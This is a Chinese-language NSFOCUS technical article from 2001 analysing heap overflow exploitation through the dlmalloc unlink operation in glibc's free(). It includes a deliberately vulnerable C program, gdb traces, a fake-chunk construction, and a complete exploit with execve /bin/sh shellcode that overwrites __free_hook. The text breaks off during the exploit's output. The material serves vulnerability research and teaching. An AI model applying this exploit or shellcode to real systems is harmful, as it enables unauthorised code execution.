首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第19期->技术专题
期刊号: 类型: 关键词:
一种新的Heap区溢出技术分析

作者:warning3 < maito:warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-02-19

★ 前言

  通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
  完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>:
  http://magazine.nsfocus.com/detail.asp?id=353
  如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。
  这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
  攻击的可能性大大增加了。
  
  注:下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)

★ 目录

    1. 简单介绍
    2. 一个简单的例子
    3. malloc/calloc/realloc/free的基本概念
    4. 两种可能的攻击方法
    5. 针对弱点程序的两个演示程序
    6. 实例: Traceroute "-g"问题
    
★ 正文

1. 简单介绍

使用malloc()或者calloc()可以动态分配一段内存,并向用户返回一个内存地
址,而实际上这个地址前面通常有8个字节的内部结构,用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖,在某些malloc实现下,可能导致
攻击者将任意数据写到一个任意内存地址中去,从而可能改变程序执行流向,
以至执行任意代码。

2. 一个简单的例子

下面我们来看一个简单的例子,这是一个非常典型的Heap溢出问题程序。它分
配两块内存,然后向其中的一块拷贝了一些数据,由于没有检查数据长度,发
生溢出。

/* A simple vulnerable program for malloc/free test - vul.c
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/05
*/

#include <stdlib.h>

int
main (int argc, char *argv[])
{
  char *buf, *buf1;

  buf = malloc (16); /* 分配两块16字节内存 */
  buf1 = malloc (16);
  
  if (argc > 1)
    memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */

  printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
  printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);
  printf ("From buf to buf1 : %d\n\n", buf1 - buf);

  printf ("Before free buf\n");
  free (buf); /* 释放buf */
  printf ("Before free buf1\n");
  free (buf1); /* 释放buf1 */

  return 0;
} /* End of main */

现在让我们来看看结果:

[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
0x8049768 [ buf  ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24    <-- 两个buffer之间相差 16+8=24 字节     

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 为什么会是21字节??
0x8049780 [ buf1 ] (00) :  <-- 溢出的数据还没有进入buf1"境内"
From buf to buf1 : 24

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 这次字节数对了
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped) <-- 出现可爱的段错误了
<-- " Before free buf1"怎么没有出现?说明段错误发生在执行free(buf)时

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
0x8049768 [ buf  ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (04) : AAAA <-- 这回溢出的数据才算到达buf1"境内"
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped)

看起来,似乎这种段错误并不足以让我们执行自己代码,因为覆盖的地方既没有
函数指针,也没有任何所能利用的变量或结构,更别提返回地址了。别着急,接
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前,我要先
讲一下malloc/calloc/realloc/free的基本概念。

3. malloc/calloc/realloc/free的基本概念

malloc/calloc/realloc/free这几个函数,是用来分配或释放动态内存的。

目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的,都是指这一版本的实现。

从Linux的Man手册MALLOC(3)中看到这些函数原型如下:

       void *calloc(size_t nmemb, size_t size);
       void *malloc(size_t size);
       void free(void *ptr);
       void *realloc(void *ptr, size_t size);

calloc()用来分配nmemb个size大小的内存块,并返回一个可用内存地址。
         它会自动将得到的内存块全部清零。
         
malloc()用来分配size大小的内存块,并返回一个可用内存地址。

free()释放ptr所指向的内存。
       
realloc()用来将ptr指向的一块内存的大小改变为size.

我们需要注意的是free()和realloc()函数。它们都是比较危险的函数,如果
所提供的地址指针ptr所指向的内存是已经释放的,或者不是由malloc类函数
分配的话,就可能发生不可预料的情况。我们要利用的,也就是这些"不可预
料"的情况。

由于calloc()和malloc()差别不大,实际上都是调用的chunk_alloc()函数来
进行分配的,区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出,我们就只以malloc()为例.

malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。

struct malloc_chunk
{
  INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;   /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

prev_size是上一个块的大小,只在上一个块空闲的情况下才被填充
size是当前块的大小,它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针,指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针,指向上一个块。这个成员只在空闲块中使用

对于已分配的内存,除了分配用户指定大小的内存空间外,还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示:


            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数(如果上一个块空闲的话)        | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             当前块的字节数 (size)                         |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             用户数据开始...                                   .
            .                                                               .
            .             (用户可以用空间大小)                              .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这里chunk指针是malloc()在内部使用的,而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说,如果用户要求分配size字节
内存,实际上至少分配size+8字节,只是用户可用的就是size字节(这里先不考
虑对齐问题)。nextchunk指向下一个内存块。


对于空闲(或者说已经释放的)块,是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。

在内存中的分布基本如下图所示:

            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数(prev_size)                       |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |              当前块的字节数 (size)                        |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             前指针(指向链表中的下一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             后指针(指向链表中的上一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             未被双向链表使用的空间(也可能是0字节长)           .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             上一个块的字节数 (等于chunk->size)                |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

大家可能主要到两个表中都有一个"P"标志,它是"当前块字节数"(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一,则表示上一块正在被
使用,这时chunk->prev_size通常为零;如果P位清零,则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。

"M"位是表示此内存块是不是由mmap()分配的,如果置一,则是由mmap()分配的,
那么在释放时会由munmap_chunk()去释放;否则,释放时由chunk_free()完成。

这两位标志相关定义为:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

由于malloc实现中是8字节对齐的,size的低3位总是不会被使用的,所以在实际
计算chunk大小时,要去掉标志位。例如:
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

一次malloc最小分配的长度至少为16字节,例如malloc(0).(上面说的长度是指
chunk的长度)

了解了上面这些基本概念,我们再来看看free(mem)时做了些什么:

首先将mem转换为chunk(mem-8),并调用chunk_free()来释放chunk所指的内存块。

然后程序会检查其相邻(包括前后)的内存块是不是空闲的:
  如果是空闲块的话,就将该相邻块从链表中摘除(unlink),然后将这些相邻的空
  闲块合并;
  如果不是空闲块的话,就只是设置后一个相邻块的prev_size和size(清
  PREV_INUSE标志)。
   
最后将得到的空闲块加入到双向链表中去。

在进行unlink操作时,实际上就是执行了一个链表结点的删除工作。
比如,如果要从链表中删除chunk结点,所要做得就是:
chunk0->fd <== chunk->fd
chunk1->bk <== chunk->bk

如下所示:

     chunk0                      chunk                    chunk1
+----------------------+..+----------------------+..+----------------------+
|prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|  |prev_size|size|*fd|*bk|
+----------------^-----+..+----------------+---+-+..+--------------------^-+
                  |_________________________|   |_________________________|

malloc实现中是使用了一个unlink宏来完成这个操作的,定义如下:
/* take a chunk off a list */

#define unlink(P, BK, FD)                                                   \
{                                                                           \
  BK = P->bk;                                                               \
  FD = P->fd;                                                               \
  FD->bk = BK;                                                              \
  BK->fd = FD;                                                              \
}         

发现了吗?这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话,那么chunk->fd就会写到(chunk->bk + 8)这个地址,而chunk->bk就会被
写到(chunk->fd + 12)这个地址!换句话说,我们可以将任意4个字节写到任意
一个内存地址中去!!我们就可能改变程序的流程,比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等,这不正是我们所要的吗?

free()和realloc()中都有unlink操作,因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。

下面让我们再回到开头的那个问题程序,看一下如何攻击它。

4. 两种可能的攻击方法

先来看看弱点程序是怎么出错的:

[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r `perl -e 'print "A"x21'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10        buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11        buf1 = malloc (16);
(gdb) p/x buf
$1 = 0x8049768
(gdb) x/20x buf-8
0x8049760:   p: 0x00000000      0x00000019  buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000     *0x00000000     #0x00000889
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000000      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p表示内存块内部指针 ]

[ 注意上面加*号的地方,这里开始的结点是链表中的top结点, #号处是它的长度 ]

(gdb) p/x *(buf-4)   <--- 这里存放的是当前块的大小,设置了PREV_INUSE位
$3 = 0x19
(gdb) p/x *(buf-4)&~0x1 <-- 算一下实际长度: 0x18 = 0x10 + 0x8
$4 = 0x18
(gdb) n
13        if (argc > 1)
(gdb) p/x buf1        <-- 分配第二块内存  
$5 = 0x8049780

(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019  buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000   p1:0x00000000      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:     *0x00000000     #0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p1表示内存块内部指针 ]

[ 我们看到top结点后移了0x18字节,长度也缩小了0x18字节 ]

(gdb) n
13        if (argc > 1)
(gdb) n
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16        printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019  buf:0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141  p1: 0x41414141      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度,所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧                                   ]

(gdb) c
Continuing.
0x8049768 [ buf  ] (21) : AAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf
Before free buf1

由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
加几个字节,就没有那么"幸运"了.

(gdb) b 14
Breakpoint 1 at 0x80484ca: file vul.c, line 14.
(gdb) r `perl -e 'print "A"x24'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000      0x00000000      0x00000019
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) n
16        printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) b 21 <-- 这时候buf1的内部结构(prev_size和size)已经被覆盖了
Breakpoint 2 at 0x804855e: file vul.c, line 21.
(gdb) c
Continuing.
0x8049768 [ buf  ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :  
From buf to buf1 : 24

Before free buf

Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
21        free (buf); /* 释放buf */
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
3100    malloc.c: No such file or directory.
(gdb) x/i $pc
0x400740c4 <chunk_free+268>:    testb  $0x1,0x4(%ecx,%esi,1)
(gdb) i r $ecx
ecx            0x41414140       1094795584 <-- 这个是覆盖后p1的块长度
(gdb) i r $esi
esi            0x8049778        134518648  <-- 这个是p1块的地址

下面我们来看free()是怎么工作的,以便确定到底是哪里发生了段错误。注意
下面的代码做了一些简化:

void fREe(Void_t* mem)
{
...

(a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置,则调用munmap_chunk() */
  {
    munmap_chunk(p);
    return;
  }
...
  p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem - 8 */
...
  chunk_free(ar_ptr, p);
}
   
static void
internal_function
chunk_free(arena *ar_ptr, mchunkptr p)
{
  INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */
  INTERNAL_SIZE_T sz;  /* 当前块大小 */
  INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
  INTERNAL_SIZE_T prevsz; /* 上一个块大小 */
  
  ...
  
  check_inuse_chunk(ar_ptr, p);

  sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */
  next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
  nextsz = chunksize(next); /* 得到下一个块的真实大小
                             * #define chunksize(p) ((p)->size & ~(SIZE_BITS))
                             */

if (next == top(ar_ptr))  /* 如果下一个块是头结点,则与之合并 */
  {
    sz += nextsz;

(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
    {
      prevsz = p->prev_size;
      p = chunk_at_offset(p, -prevsz);
      sz += prevsz;
      unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */
    }

    set_head(p, sz | PREV_INUSE);
    top(ar_ptr) = p;

     .....  
  }

/* 如果下一个块不是头结点 */  

(b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
  {
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */
  }

   /* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
(c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/
  {
    sz += nextsz;

   if (!islr && next->fd == last_remainder(ar_ptr))
                                              /* re-insert last_remainder */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd);/* 从链表中删除下一个结点 */

    next = chunk_at_offset(p, sz);
  }
  else
    set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size
                               中的PREV_INUSE位清零 */  

  set_head(p, sz | PREV_INUSE);
  next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */
  if (!islr)
    frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */

  .....
}

我们看到这里面有3个地方调用了unlink.如果想要执行它们,需要满足下列条件:

1. (a) 当前块的IS_MMAPPED位必须被清零,否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
    或者
    (c) 下一个块是个空闲块(下下一个块(p->next->next)size的PREV_INUSE位清零)

我们的弱点程序发生溢出时,可以覆盖下一个块的内部结构,但是并不能修改当前
块的内部结构,因此条件(b)是满足不了的。我们只能寄希望于条件(c).

所谓下下一个块的地址其实是由下一个块的数据来推算出来的,因此,既然我们
可以完全控制下一个块的数据,就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2,下
下一个块为块3,如下图所示:
    
      块1                      块2                    伪造的块3
+----------------------+------------------------+..+-------------------------+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2|  |prev_size3|size3|任意数据|
+----------------------+------------------------+..+-------------------------+
|                      |                           |
|--> p                 |-->next                    |-->next2next

next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

因此,只要我们能够通过修改size2,使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3,使得此块的size3的PREV_INUSE位置零即可!

然后,在fd2处填入要覆盖的地址,例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址,这样再下一次调用free()时就会执行我们的代码。

在bk2处可以填入shellcode的地址。

实际构造的时候块2的结构如下:

  prev_size2 = 0x11223344  /* 可以使用任意值 */                                                  
  size2      = (next2next - next) /* 这个数值必须是4的倍数 */
  fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
  bk2        = shellcode /* 这将导致fd2被写到shellcode + 8这个地址,所以需要
                            在shellcode前面放一段跳转语句以跳过fd2 */
                            
伪造的块3则要求很低,只需要让size3的最后一位为0即可:

prev_size3 = 0x11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE  /* 这里的0xffffffff可以用任意非零值替换 */

这个伪造的块可以放在任意可能的位置,例如块2的前面或者后面。如果要放在
块2的后面,由于size2是4个字节,因此如果距离比较小的话,那么size2是肯定
要包含零字节的,这会中断数据拷贝,因此距离必须足够远,以至于四个字节均
不为零,堆栈段是一个不错的选择,通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面,那么size2就是个负值,通常是0xffffffxx等
等。这肯定满足size2不为零的要求,另外,这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。

      块1                (     块3     )              块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |       |<---- 8 字节 -->|
                |                        |
                |<-----  16字节 -------->|

在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!

|     块1                  |....  块3 ..|     块2                |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |           |<-- 4字节-->|  (size3)
                |                        |
                |<-----  16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:

  prev_size2 = 0x11223344 & ~PREV_INUSE  /* 我们用原来的size3代替 */
  size2      = 0xfffffffc /* 长度为-4 */
  fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
  bk2        = shellcode
  
  至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
  我们的工作就大大简化了,只需要构造一个块2就可以了!
  现在我们看看我们要做的事情:
  
  i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
     块2
  
  ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
      $ [warning3@redhat-6 malloc]$  gdb ./vul -e
      (gdb) b main
      Breakpoint 1 at 0x80484a6: file vul.c, line 10.
      (gdb) r
      Starting program: /home/warning3/malloc/./vul
      
      Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
      10        buf = malloc (16); /* 分配两块16字节内存 */
      (gdb) p/x &__free_hook
      $2 = 0x401091b8
  
  iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
       跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
       shellcode+8处.
       +--------+---------------------+---------------+
       |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
       +--------+---------------------+---------------+                
                |<----   10字节  ---->|
                
5. 一个演示程序

下面我们就可以来写溢出程序了,其实是相当简单的:

/* Exploit for free() with unlinking next chunk - ex.c
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/06
*/

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x401091b8  /* __free_hook()地址 */
#define VULPROG "./vul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[128], fake_chunk[16];
  char *env[2];
  unsigned int *ptr;

  /* 计算shellcode在堆栈中的地址 */
  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  /* 伪造一个块结构 */
  ptr = (unsigned int *) fake_chunk;
  *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  /* 设置长度为-4,这个值应当是4的倍数 */
  *ptr++ = 0xfffffffc;
  *ptr++ = __FREE_HOOK - 12 ;
  *ptr++ = codeaddr;
  
  bzero(buf, 128);
  memset (buf, 'A', 16); /* 填充无用数据 */
  memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
  
  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

运行一下看看:

[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf  ] (32) : AAAAAAAAAAAAAAAA?
版权所有,未经许可,不得转载